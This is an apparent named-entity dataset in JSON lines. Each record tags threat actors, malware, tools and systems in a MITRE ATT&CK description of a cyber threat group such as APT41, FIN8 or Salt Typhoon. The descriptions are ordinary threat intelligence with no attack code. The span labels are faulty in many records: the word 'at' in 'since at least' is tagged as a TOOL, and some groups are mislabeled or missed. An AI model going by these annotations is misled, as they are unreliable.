{"text": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure.", "spans": {"THREAT_ACTOR: Threat Group-1314": [[0, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0028"}}
{"text": "APT41 is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, APT41 has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries. Notable behaviors include using a wide range of malware and tools to complete mission objectives. APT41 overlaps at least partially with public reporting on groups including BARIUM and Winnti Group.", "spans": {"THREAT_ACTOR: APT41": [[0, 5], [179, 184], [463, 468]], "TOOL: at": [[164, 166], [478, 480]], "THREAT_ACTOR: Winnti Group": [[550, 562]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0096"}}
{"text": "INC Ransom is a ransomware and data extortion threat group associated with the deployment of INC Ransomware that has been active since at least July 2023. INC Ransom  has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.", "spans": {"THREAT_ACTOR: INC Ransom": [[0, 10], [155, 165]], "MALWARE: INC Ransomware": [[93, 107]], "TOOL: at": [[135, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1032"}}
{"text": "FIN13 is a financially motivated cyber threat group that has targeted the financial, retail, and hospitality industries in Mexico and Latin America, as early as 2016. FIN13 achieves its objectives by stealing intellectual property, financial data, mergers and acquisition information, or PII.", "spans": {"THREAT_ACTOR: FIN13": [[0, 5], [167, 172]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1016"}}
{"text": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.", "spans": {"THREAT_ACTOR: Group5": [[0, 6], [248, 254]], "MALWARE: njRAT": [[315, 320]], "MALWARE: NanoCore": [[325, 333]], "SYSTEM: Android": [[349, 356]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0043"}}
{"text": "PLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia.", "spans": {"THREAT_ACTOR: PLATINUM": [[0, 8]], "TOOL: at": [[62, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0068"}}
{"text": "GALLIUM is a cyberespionage group that has been active since at least 2012, primarily targeting telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. This group is particularly known for launching Operation Soft Cell, a long-term campaign targeting telecommunications providers. Security researchers have identified GALLIUM as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.", "spans": {"THREAT_ACTOR: GALLIUM": [[0, 7], [446, 453]], "TOOL: at": [[61, 63]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0093"}}
{"text": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.", "spans": {"THREAT_ACTOR: FIN10": [[0, 5]], "TOOL: at": [[101, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0051"}}
{"text": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Some reporting suggests a number of other groups, including Axiom, APT17, and Ke3chang, are closely linked to Winnti Group.", "spans": {"THREAT_ACTOR: Winnti Group": [[0, 12], [309, 321]], "TOOL: at": [[79, 81]], "THREAT_ACTOR: Axiom": [[259, 264]], "THREAT_ACTOR: APT17": [[266, 271]], "THREAT_ACTOR: Ke3chang": [[277, 285]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0044"}}
{"text": "FIN8 is a financially motivated threat group that has been active since at least January 2016, and known for targeting organizations in the hospitality, retail, entertainment, insurance, technology, chemical, and financial sectors. In June 2021, security researchers detected FIN8 switching from targeting point-of-sale (POS) devices to distributing a number of ransomware variants.", "spans": {"THREAT_ACTOR: FIN8": [[0, 4], [276, 280]], "TOOL: at": [[72, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0061"}}
{"text": "Rocke is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name Rocke comes from the email address \"rocke@live.cn\" used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between Rocke and the Iron Cybercrime Group, though this attribution has not been confirmed.", "spans": {"THREAT_ACTOR: Rocke": [[0, 5], [189, 194], [346, 351]], "EMAIL: rocke@live.cn": [[225, 238]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0106"}}
{"text": "RedEcho is a People’s Republic of China-related threat actor associated with long-running intrusions in Indian critical infrastructure entities. RedEcho overlaps with various other PRC-linked threat groups, such as APT41, and is linked to ShadowPad malware use through shared infrastructure.", "spans": {"THREAT_ACTOR: RedEcho": [[0, 7], [145, 152]], "THREAT_ACTOR: APT41": [[215, 220]], "MALWARE: ShadowPad": [[239, 248]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1042"}}
{"text": "Saint Bear is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, Saint Bot, and information stealer, OutSteel in campaigns. Saint Bear typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related entities. Saint Bear has previously been confused with Ember Bear operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.", "spans": {"THREAT_ACTOR: Saint Bear": [[0, 10], [236, 246], [398, 408]], "MALWARE: Saint Bot": [[177, 186]], "MALWARE: OutSteel": [[213, 221]], "THREAT_ACTOR: Ember Bear": [[443, 453]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1031"}}
{"text": "Scattered Spider is a native English-speaking cybercriminal group active since at least 2022.   The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. \nScattered Spider relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain.   \nScattered Spider had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365.", "spans": {"THREAT_ACTOR: Scattered Spider": [[0, 16], [393, 409], [731, 747]], "TOOL: at": [[79, 81]], "SYSTEM: AWS": [[891, 894]], "SYSTEM: Office 365": [[900, 910]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1015"}}
{"text": "CURIUM is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East. CURIUM has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note CURIUM has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.", "spans": {"THREAT_ACTOR: CURIUM": [[0, 6], [156, 162], [356, 362]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1012"}}
{"text": "The Windigo group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the Ebury SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, Windigo operators continued updating Ebury through 2019.", "spans": {"THREAT_ACTOR: Windigo": [[4, 11], [220, 227]], "TOOL: at": [[43, 45]], "SYSTEM: Linux": [[84, 89]], "SYSTEM: Unix": [[94, 98]], "MALWARE: Ebury": [[117, 122], [257, 262]], "SYSTEM: SSH": [[123, 126]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0124"}}
{"text": "Blue Mockingbird is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.", "spans": {"THREAT_ACTOR: Blue Mockingbird": [[0, 16], [176, 192]], "SYSTEM: Windows": [[137, 144]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0108"}}
{"text": "RedCurl is a threat actor active since 2018 notable for corporate espionage targeting a variety of locations, including Ukraine, Canada and the United Kingdom, and a variety of industries, including but not limited to travel agencies, insurance companies, and banks. RedCurl is allegedly a Russian-speaking threat actor. The group’s operations typically start with spearphishing emails to gain initial access, then the group executes discovery and collection commands and scripts to find corporate data. The group concludes operations by exfiltrating files to the C2 servers.", "spans": {"THREAT_ACTOR: RedCurl": [[0, 7], [267, 274]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1039"}}
{"text": "FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.", "spans": {"THREAT_ACTOR: FIN4": [[0, 4], [213, 217]], "TOOL: at": [[198, 200]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0085"}}
{"text": "Contagious Interview is a North Korea–aligned threat group active since 2023. The group conducts both cyberespionage and financially motivated operations, including the theft of cryptocurrency and user credentials. Contagious Interview targets Windows, Linux, and macOS systems, with a particular focus on individuals engaged in software development and cryptocurrency-related activities.", "spans": {"THREAT_ACTOR: Contagious Interview": [[0, 20], [215, 235]], "SYSTEM: Windows": [[244, 251]], "SYSTEM: Linux": [[253, 258]], "SYSTEM: macOS": [[264, 269]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1052"}}
{"text": "Gorgon Group is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States.", "spans": {"THREAT_ACTOR: Gorgon Group": [[0, 12]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0078"}}
{"text": "Sidewinder is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.", "spans": {"THREAT_ACTOR: Sidewinder": [[0, 10]], "TOOL: at": [[79, 81]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0121"}}
{"text": "Higaisa is a threat group suspected to have South Korean origins. Higaisa has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. Higaisa was first disclosed in early 2019 but is assessed to have operated as early as 2009.", "spans": {"THREAT_ACTOR: Higaisa": [[0, 7], [66, 73], [243, 250]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0126"}}
{"text": "APT30 is a threat group suspected to be associated with the Chinese government. While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.", "spans": {"THREAT_ACTOR: APT30": [[0, 5], [126, 131]], "THREAT_ACTOR: Naikon": [[86, 92]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0013"}}
{"text": "Windshift is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.", "spans": {"THREAT_ACTOR: Windshift": [[0, 9]], "TOOL: at": [[55, 57]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0112"}}
{"text": "Confucius is a cyber espionage group that has primarily targeted military personnel, high-profile personalities, business persons, and government organizations in South Asia since at least 2013. Security researchers have noted similarities between Confucius and Patchwork, particularly in their respective custom malware code and targets.", "spans": {"THREAT_ACTOR: Confucius": [[0, 9], [248, 257]], "TOOL: at": [[180, 182]], "THREAT_ACTOR: Patchwork": [[262, 271]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0142"}}
{"text": "BlackByte is a ransomware threat actor operating since at least 2021. BlackByte is associated with several versions of ransomware also labeled BlackByte Ransomware. BlackByte ransomware operations initially used a common encryption key allowing for the development of a universal decryptor, but subsequent versions such as BlackByte 2.0 Ransomware use more robust encryption mechanisms. BlackByte is notable for operations targeting critical infrastructure entities among other targets across North America.", "spans": {"THREAT_ACTOR: BlackByte": [[0, 9], [70, 79], [165, 174], [387, 396]], "TOOL: at": [[55, 57]], "MALWARE: BlackByte Ransomware": [[143, 163]], "MALWARE: BlackByte 2.0 Ransomware": [[323, 347]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1043"}}
{"text": "Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.", "spans": {"THREAT_ACTOR: Threat Group-3390": [[0, 17]], "TOOL: at": [[147, 149]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0027"}}
{"text": "Tonto Team is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. Tonto Team has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).", "spans": {"THREAT_ACTOR: Tonto Team": [[0, 10], [273, 283]], "TOOL: at": [[163, 165]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0131"}}
{"text": "Gamaredon Group is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name Gamaredon Group derives from a misspelling of the word \"Armageddon,\" found in early campaigns.\n\nIn November 2021, the Ukrainian government publicly attributed Gamaredon Group to Russia’s Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers.", "spans": {"THREAT_ACTOR: Gamaredon Group": [[0, 15], [205, 220], [364, 379]], "TOOL: at": [[181, 183]], "ORGANIZATION: FSB": [[418, 421]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0047"}}
{"text": "Agrius is an Iranian threat actor active since 2020 notable for a series of ransomware and wiper operations in the Middle East, with an emphasis on Israeli targets. Public reporting has linked Agrius to Iran's Ministry of Intelligence and Security (MOIS).", "spans": {"THREAT_ACTOR: Agrius": [[0, 6], [193, 199]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1030"}}
{"text": "Sea Turtle is a Türkiye-linked threat actor active since at least 2017 performing espionage and service provider compromise operations against victims in Asia, Europe, and North America. Sea Turtle is notable for targeting registrars managing ccTLDs and complex DNS-based intrusions where the threat actor compromised DNS providers to hijack DNS resolution for ultimate victims, enabling Sea Turtle to spoof log in portals and other applications for credential collection.", "spans": {"THREAT_ACTOR: Sea Turtle": [[0, 10], [187, 197], [388, 398]], "TOOL: at": [[57, 59]], "SYSTEM: DNS": [[262, 265], [318, 321], [342, 345]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1041"}}
{"text": "Rancor is a threat group that has led targeted campaigns against the South East Asia region. Rancor uses politically-motivated lures to entice victims to open malicious documents.", "spans": {"THREAT_ACTOR: Rancor": [[0, 6], [93, 99]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0075"}}
{"text": "Moonstone Sleet is a North Korean-linked threat actor executing both financially motivated attacks and espionage operations. The group previously overlapped significantly with another North Korean-linked entity, Lazarus Group, but has differentiated its tradecraft since 2023. Moonstone Sleet is notable for creating fake companies and personas to interact with victim entities, as well as developing unique malware such as a variant delivered via a fully functioning game.", "spans": {"THREAT_ACTOR: Moonstone Sleet": [[0, 15], [277, 292]], "THREAT_ACTOR: Lazarus Group": [[212, 225]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1036"}}
{"text": "TA551 is a financially-motivated threat group that has been active since at least 2018.  The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns.", "spans": {"THREAT_ACTOR: TA551": [[0, 5]], "TOOL: at": [[73, 75]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0127"}}
{"text": "Salt Typhoon is a People's Republic of China (PRC) state-backed actor that has been active since at least 2019 and responsible for numerous compromises of network infrastructure at major U.S. telecommunication and internet service providers (ISP).", "spans": {"THREAT_ACTOR: Salt Typhoon": [[0, 12]], "TOOL: at": [[97, 99], [178, 180]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1045"}}
{"text": "Axiom is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between Axiom and Winnti Group but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.", "spans": {"THREAT_ACTOR: Axiom": [[0, 5], [211, 216]], "TOOL: at": [[144, 146]], "THREAT_ACTOR: Winnti Group": [[221, 233]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0001"}}
{"text": "Dark Caracal is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012.", "spans": {"THREAT_ACTOR: Dark Caracal": [[0, 12]], "TOOL: at": [[140, 142]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0070"}}
{"text": "Nomadic Octopus is a Russian-speaking cyber espionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. Nomadic Octopus has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.", "spans": {"THREAT_ACTOR: Nomadic Octopus": [[0, 15], [197, 212]], "TOOL: at": [[182, 184]], "SYSTEM: Android": [[262, 269]], "SYSTEM: Windows": [[274, 281]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0133"}}
{"text": "APT12 is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.", "spans": {"THREAT_ACTOR: APT12": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0005"}}
{"text": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security. This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.", "spans": {"THREAT_ACTOR: APT3": [[0, 4]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0022"}}
{"text": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).", "spans": {"THREAT_ACTOR: Putter Panda": [[0, 12]], "ORGANIZATION: PLA": [[104, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0024"}}
{"text": "Metador is a suspected cyber espionage group that was first reported in September 2022. Metador has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group Metador based on the \"I am meta\" string in one of the group's malware samples and the expectation of Spanish-language responses from C2 servers.", "spans": {"THREAT_ACTOR: Metador": [[0, 7], [88, 95], [271, 278]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1013"}}
{"text": "TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others.", "spans": {"THREAT_ACTOR: TA459": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0062"}}
{"text": "ZIRCONIUM is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.", "spans": {"THREAT_ACTOR: ZIRCONIUM": [[0, 9]], "TOOL: at": [[65, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0128"}}
{"text": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.", "spans": {"THREAT_ACTOR: APT1": [[0, 4]], "ORGANIZATION: PLA": [[107, 110]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0006"}}
{"text": "Naikon is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). Active since at least 2010, Naikon has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN). \n\nWhile Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.", "spans": {"THREAT_ACTOR: Naikon": [[0, 6], [255, 261], [530, 536]], "ORGANIZATION: PLA": [[119, 122]], "TOOL: at": [[240, 242]], "ORGANIZATION: United Nations": [[422, 436]], "THREAT_ACTOR: APT30": [[570, 575]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0019"}}
{"text": "Sowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015.", "spans": {"THREAT_ACTOR: Sowbug": [[0, 6]], "TOOL: at": [[160, 162]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0054"}}
{"text": "Mofang is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.", "spans": {"THREAT_ACTOR: Mofang": [[0, 6]], "TOOL: at": [[165, 167]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0103"}}
{"text": "Machete is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. Machete generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.", "spans": {"THREAT_ACTOR: Machete": [[0, 7], [262, 269]], "TOOL: at": [[89, 91]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0095"}}
{"text": "FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian.", "spans": {"THREAT_ACTOR: FIN5": [[0, 4]], "TOOL: at": [[161, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0053"}}
{"text": "Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.", "spans": {"TOOL: at": [[82, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1035"}}
{"text": "SideCopy is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghani government personnel, since at least 2019. SideCopy's name comes from its infection chain that tries to mimic that of Sidewinder, a suspected Indian threat group.", "spans": {"THREAT_ACTOR: SideCopy": [[0, 8], [160, 168]], "TOOL: at": [[145, 147]], "THREAT_ACTOR: Sidewinder": [[235, 245]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1008"}}
{"text": "APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.", "spans": {"THREAT_ACTOR: APT33": [[0, 5]], "TOOL: at": [[80, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0064"}}
{"text": "Lotus Blossom is a long-standing threat group largely targeting various entities in Asia since at least 2009. In addition to government and related targets, Lotus Blossom has also targeted entities such as digital certificate issuers.", "spans": {"THREAT_ACTOR: Lotus Blossom": [[0, 13], [157, 170]], "TOOL: at": [[95, 97]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0030"}}
{"text": "GOLD SOUTHFIELD is a financially motivated threat group active since at least 2018 that operates the REvil Ransomware-as-a Service (RaaS). GOLD SOUTHFIELD provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, GOLD SOUTHFIELD started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.", "spans": {"THREAT_ACTOR: GOLD SOUTHFIELD": [[0, 15], [139, 154], [287, 302]], "TOOL: at": [[69, 71]], "MALWARE: REvil": [[101, 106]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0115"}}
{"text": "Volatile Cedar is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. Volatile Cedar has been operating since 2012 and is motivated by political and ideological interests.", "spans": {"THREAT_ACTOR: Volatile Cedar": [[0, 14], [112, 126]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0123"}}
{"text": "Evilnum is a financially motivated threat group that has been active since at least 2018.", "spans": {"THREAT_ACTOR: Evilnum": [[0, 7]], "TOOL: at": [[75, 77]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0120"}}
{"text": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.  Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).", "spans": {"THREAT_ACTOR: Cleaver": [[0, 7], [122, 129], [172, 179]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0003"}}
{"text": "TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.", "spans": {"THREAT_ACTOR: TEMP.Veles": [[0, 10]], "MALWARE: TRITON": [[123, 129]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0088"}}
{"text": "DarkHydrus is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks.", "spans": {"THREAT_ACTOR: DarkHydrus": [[0, 10]], "TOOL: at": [[121, 123]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0079"}}
{"text": "Whitefly is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore’s largest public health organization, SingHealth.", "spans": {"THREAT_ACTOR: Whitefly": [[0, 8]], "TOOL: at": [[66, 68]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0107"}}
{"text": "Silent Librarian is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of  Silent Librarian are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).", "spans": {"THREAT_ACTOR: Silent Librarian": [[0, 16], [186, 202]], "TOOL: at": [[76, 78], [159, 161], [310, 312]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0122"}}
{"text": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.", "spans": {"THREAT_ACTOR: APT18": [[0, 5]], "TOOL: at": [[48, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0026"}}
{"text": "Carbanak is a cybercriminal group that has used Carbanak malware to target financial institutions since at least 2013. Carbanak may be linked to groups tracked separately as Cobalt Group and FIN7 that have also used Carbanak malware.", "spans": {"MALWARE: Carbanak": [[0, 8], [48, 56], [119, 127], [216, 224]], "TOOL: at": [[104, 106]], "THREAT_ACTOR: Cobalt Group": [[174, 186]], "THREAT_ACTOR: FIN7": [[191, 195]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0008"}}
{"text": "Orangeworm is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. Reverse engineering of Kwampirs, directly associated with Orangeworm activity, indicates significant functional and development overlaps with Shamoon.", "spans": {"THREAT_ACTOR: Orangeworm": [[0, 10], [244, 254]], "TOOL: at": [[124, 126]], "MALWARE: Kwampirs": [[209, 217]], "MALWARE: Shamoon": [[328, 335]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0071"}}
{"text": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.  The intrusion into healthcare company Anthem has been attributed to Deep Panda.  This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther.  Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.  Some analysts track Deep Panda and APT19 as the same group, but it is unclear from open source information if the groups are the same.", "spans": {"THREAT_ACTOR: Deep Panda": [[0, 10], [215, 225], [314, 324], [455, 465]], "THREAT_ACTOR: APT19": [[470, 475]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0009"}}
{"text": "APT-C-36 is a suspected South America espionage group that has been active since at least 2018. The group mainly targets Colombian government institutions as well as important corporations in the financial sector, petroleum industry, and professional manufacturing.", "spans": {"THREAT_ACTOR: APT-C-36": [[0, 8]], "TOOL: at": [[81, 83]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0099"}}
{"text": "The White Company is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.", "spans": {"THREAT_ACTOR: The White Company": [[0, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0089"}}
{"text": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.", "spans": {"THREAT_ACTOR: Poseidon Group": [[0, 14], [216, 230]], "TOOL: at": [[80, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0033"}}
{"text": "LazyScripter is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.", "spans": {"THREAT_ACTOR: LazyScripter": [[0, 12]], "TOOL: at": [[82, 84]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0140"}}
{"text": "Gallmaker is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.", "spans": {"THREAT_ACTOR: Gallmaker": [[0, 9]], "TOOL: at": [[107, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0084"}}
